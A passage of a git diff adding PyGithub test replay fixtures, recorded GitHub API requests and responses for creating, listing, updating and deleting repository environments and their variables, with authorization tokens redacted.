GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4980'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '20'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'DE35:7DE9:FC4B62:20C885B:655F7412')] +{} + +https +POST +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/variables +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"name": "VARIABLE_NAME_TWO", "value": "variable-value-two"} +201 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4979'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '21'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'DE36:33EA:FF9558:212CD98:655F7412')] +{} + +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test +{'If-None-Match': 'W/"80052e742f0b4949d8733a7a802b0bdcfe252c4f8ea05cf418711c5cc7788cb4"', 'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +304 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:30 GMT'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"80052e742f0b4949d8733a7a802b0bdcfe252c4f8ea05cf418711c5cc7788cb4"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4979'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '21'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'DE37:4916:105BA97:21F15D7:655F7412')] + + +https +GET +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/variables +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"d97a6046e3e1d6534b73836ec9ac81ae92a13ef593775e70d745f658d10334ff"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4978'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '22'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DE38:7534:10E4A81:2308C28:655F7413')] +{"variables":[{"name":"VARIABLE_NAME_ONE","value":"variable-value-one","created_at":"2023-11-23T15:47:30Z","updated_at":"2023-11-23T15:47:30Z"},{"name":"VARIABLE_NAME_TWO","value":"variable-value-two","created_at":"2023-11-23T15:47:31Z","updated_at":"2023-11-23T15:47:31Z"}],"total_count":2} + +https +DELETE +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/variables/VARIABLE_NAME_ONE +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:31 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '23'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'DE39:0C70:FD4836:20EA65C:655F7413')] + + +https +DELETE +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test/variables/VARIABLE_NAME_TWO +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:31 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4976'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '24'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'DE3A:2B48:10263CF:217EF6E:655F7413')] + + +https +DELETE +api.github.com +None +/repos/AndrewJDawes/PyGithub/environments/test +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 15:47:32 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4975'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '25'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'DE3B:4D94:FD63FD:20E4C4B:655F7414')] diff --git a/tests/ReplayData/Environment.testGetEnvironments.txt b/tests/ReplayData/Environment.testGetEnvironments.txt new file mode 100644 index 0000000000..3c693c0b60 --- /dev/null +++ b/tests/ReplayData/Environment.testGetEnvironments.txt @@ -0,0 +1,21 @@ +https +GET +api.github.com +None +/repos/alson/PyGithub/environments?per_page=1 +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 13 Apr 2022 18:02:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ed85111e774379ffa08c34657bedabffff15a4f8e053b94cc89adc52e7f771da"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4837'), ('X-RateLimit-Reset', '1649873132'), ('X-RateLimit-Used', '163'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D7DE:34F1:419DBE:43183F:62571051')] +{"total_count":1,"environments":[{"id":464814513,"node_id":"EN_kwDOHKhL9c4btIGx","name":"dev","url":"https://api.github.com/repos/alson/PyGithub/environments/dev","html_url":"https://github.com/alson/PyGithub/deployments/activity_log?environments_filter=dev","created_at":"2022-04-13T15:06:32Z","updated_at":"2022-04-13T15:06:32Z","protection_rules":[{"id":216323,"node_id":"GA_kwDOHKhL9c4AA00D","type":"branch_policy"},{"id":216324,"node_id":"GA_kwDOHKhL9c4AA00E","type":"required_reviewers","reviewers":[{"type":"User","reviewer":{"login":"alson","id":19245,"node_id":"MDQ6VXNlcjE5MjQ1","avatar_url":"https://avatars.githubusercontent.com/u/19245?v=4","gravatar_id":"","url":"https://api.github.com/users/alson","html_url":"https://github.com/alson","followers_url":"https://api.github.com/users/alson/followers","following_url":"https://api.github.com/users/alson/following{/other_user}","gists_url":"https://api.github.com/users/alson/gists{/gist_id}","starred_url":"https://api.github.com/users/alson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alson/subscriptions","organizations_url":"https://api.github.com/users/alson/orgs","repos_url":"https://api.github.com/users/alson/repos","events_url":"https://api.github.com/users/alson/events{/privacy}","received_events_url":"https://api.github.com/users/alson/received_events","type":"User","site_admin":false}}]},{"id":216325,"node_id":"GA_kwDOHKhL9c4AA00F","type":"wait_timer","wait_timer":15}],"deployment_branch_policy":{"protected_branches":true,"custom_branch_policies":false}}]} + +https +GET +api.github.com +None +/repos/alson/PyGithub/environments +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 13 Apr 2022 18:02:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ed85111e774379ffa08c34657bedabffff15a4f8e053b94cc89adc52e7f771da"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4836'), ('X-RateLimit-Reset', '1649873132'), ('X-RateLimit-Used', '164'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D7DF:12F27:1358BD:147359:62571051')] +{"total_count":1,"environments":[{"id":464814513,"node_id":"EN_kwDOHKhL9c4btIGx","name":"dev","url":"https://api.github.com/repos/alson/PyGithub/environments/dev","html_url":"https://github.com/alson/PyGithub/deployments/activity_log?environments_filter=dev","created_at":"2022-04-13T15:06:32Z","updated_at":"2022-04-13T15:06:32Z","protection_rules":[{"id":216323,"node_id":"GA_kwDOHKhL9c4AA00D","type":"branch_policy"},{"id":216324,"node_id":"GA_kwDOHKhL9c4AA00E","type":"required_reviewers","reviewers":[{"type":"User","reviewer":{"login":"alson","id":19245,"node_id":"MDQ6VXNlcjE5MjQ1","avatar_url":"https://avatars.githubusercontent.com/u/19245?v=4","gravatar_id":"","url":"https://api.github.com/users/alson","html_url":"https://github.com/alson","followers_url":"https://api.github.com/users/alson/followers","following_url":"https://api.github.com/users/alson/following{/other_user}","gists_url":"https://api.github.com/users/alson/gists{/gist_id}","starred_url":"https://api.github.com/users/alson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alson/subscriptions","organizations_url":"https://api.github.com/users/alson/orgs","repos_url":"https://api.github.com/users/alson/repos","events_url":"https://api.github.com/users/alson/events{/privacy}","received_events_url":"https://api.github.com/users/alson/received_events","type":"User","site_admin":false}}]},{"id":216325,"node_id":"GA_kwDOHKhL9c4AA00F","type":"wait_timer","wait_timer":15}],"deployment_branch_policy":{"protected_branches":true,"custom_branch_policies":false}}]} diff --git a/tests/ReplayData/Environment.testReviewers.txt b/tests/ReplayData/Environment.testReviewers.txt new file mode 100644 index 0000000000..5c6833e172 --- /dev/null +++ b/tests/ReplayData/Environment.testReviewers.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/repos/alson/PyGithub/environments/dev +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 13 Apr 2022 17:40:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3b0433057350078e2272494ff1c150fd0063b57b11fad140ec6bf723991e9ebf"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4915'), ('X-RateLimit-Reset', '1649873132'), ('X-RateLimit-Used', '85'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D6B6:B7D7:1419EA:151E71:62570B02')] +{"id":464814513,"node_id":"EN_kwDOHKhL9c4btIGx","name":"dev","url":"https://api.github.com/repos/alson/PyGithub/environments/dev","html_url":"https://github.com/alson/PyGithub/deployments/activity_log?environments_filter=dev","created_at":"2022-04-13T15:06:32Z","updated_at":"2022-04-13T15:06:32Z","protection_rules":[{"id":216323,"node_id":"GA_kwDOHKhL9c4AA00D","type":"branch_policy"},{"id":216324,"node_id":"GA_kwDOHKhL9c4AA00E","type":"required_reviewers","reviewers":[{"type":"User","reviewer":{"login":"alson","id":19245,"node_id":"MDQ6VXNlcjE5MjQ1","avatar_url":"https://avatars.githubusercontent.com/u/19245?v=4","gravatar_id":"","url":"https://api.github.com/users/alson","html_url":"https://github.com/alson","followers_url":"https://api.github.com/users/alson/followers","following_url":"https://api.github.com/users/alson/following{/other_user}","gists_url":"https://api.github.com/users/alson/gists{/gist_id}","starred_url":"https://api.github.com/users/alson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alson/subscriptions","organizations_url":"https://api.github.com/users/alson/orgs","repos_url":"https://api.github.com/users/alson/repos","events_url":"https://api.github.com/users/alson/events{/privacy}","received_events_url":"https://api.github.com/users/alson/received_events","type":"User","site_admin":false}}, {"type":"Team","reviewer":{"id":1,"node_id":"MDQ6VGVhbTE=","url":"https://api.github.com/teams/1","html_url":"https://github.com/orgs/github/teams/justice-league","name":"Justice League","slug":"justice-league","description":"A great team.","privacy":"closed","permission":"admin","members_url":"https://api.github.com/teams/1/members{/member}","repositories_url":"https://api.github.com/teams/1/repos","parent":null}}]},{"id":216325,"node_id":"GA_kwDOHKhL9c4AA00F","type":"wait_timer","wait_timer":15}],"deployment_branch_policy":{"protected_branches":true,"custom_branch_policies":false}} diff --git a/tests/ReplayData/Environment.testUpdateEnvironment.txt b/tests/ReplayData/Environment.testUpdateEnvironment.txt new file mode 100644 index 0000000000..83ef228278 --- /dev/null +++ b/tests/ReplayData/Environment.testUpdateEnvironment.txt @@ -0,0 +1,10 @@ +https +PUT +api.github.com +None +/repos/alson/PyGithub/environments/test +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"wait_timer": 42, "reviewers": [{"type": "User", "id": 19245}], "deployment_branch_policy": {"protected_branches": true, "custom_branch_policies": false}} +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 20 Apr 2022 10:41:27 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6a0e8d2fa745fa04719de5c68f6535950341c778998f7979827ab4a865451879"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-05-13 15:01:13 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1650454681'), ('X-RateLimit-Used', '8'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0C7:FF6E:A162C:A41FF:625FE356')] +{"id":470015651,"node_id":"EN_kwDOHKhL9c4cA96j","name":"test","url":"https://api.github.com/repos/alson/PyGithub/environments/test","html_url":"https://github.com/alson/PyGithub/deployments/activity_log?environments_filter=test","created_at":"2022-04-19T14:04:32Z","updated_at":"2022-04-19T14:04:32Z","protection_rules":[{"id":222463,"node_id":"GA_kwDOHKhL9c4AA2T_","type":"required_reviewers","reviewers":[{"type":"User","reviewer":{"login":"alson","id":19245,"node_id":"MDQ6VXNlcjE5MjQ1","avatar_url":"https://avatars.githubusercontent.com/u/19245?v=4","gravatar_id":"","url":"https://api.github.com/users/alson","html_url":"https://github.com/alson","followers_url":"https://api.github.com/users/alson/followers","following_url":"https://api.github.com/users/alson/following{/other_user}","gists_url":"https://api.github.com/users/alson/gists{/gist_id}","starred_url":"https://api.github.com/users/alson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alson/subscriptions","organizations_url":"https://api.github.com/users/alson/orgs","repos_url":"https://api.github.com/users/alson/repos","events_url":"https://api.github.com/users/alson/events{/privacy}","received_events_url":"https://api.github.com/users/alson/received_events","type":"User","site_admin":false}}]},{"id":222464,"node_id":"GA_kwDOHKhL9c4AA2UA","type":"wait_timer","wait_timer":42},{"id":222465,"node_id":"GA_kwDOHKhL9c4AA2UB","type":"branch_policy"}],"deployment_branch_policy":{"protected_branches":true,"custom_branch_policies":false}} diff --git a/tests/ReplayData/Equality.testBranchEquality.txt b/tests/ReplayData/Equality.testBranchEquality.txt index 96d2b87605..c62cc9b604 100644 --- a/tests/ReplayData/Equality.testBranchEquality.txt +++ b/tests/ReplayData/Equality.testBranchEquality.txt @@ -41,4 +41,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:344A:3DD0893:52802146'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '3500'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"1d4efa84ec4f76163fb0c421d3f01d85"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 00:13:58 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384130958')] {"name":"develop","commit":{"sha":"22f366b540a302036784afc979e28569ede388df","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-11-10T23:45:33Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-11-10T23:45:33Z"},"message":"Accept strings as well as Label objects (#202)\n\nThis should be more generic, but it's a wig work to do it\neverywhere. Let's keep that in mind for V2.","tree":{"sha":"da52b9c276aa8fa9dfda274e6dbcbe7b0dfd132f","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/da52b9c276aa8fa9dfda274e6dbcbe7b0dfd132f"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/22f366b540a302036784afc979e28569ede388df","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/22f366b540a302036784afc979e28569ede388df","html_url":"https://github.com/jacquev6/PyGithub/commit/22f366b540a302036784afc979e28569ede388df","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/22f366b540a302036784afc979e28569ede388df/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5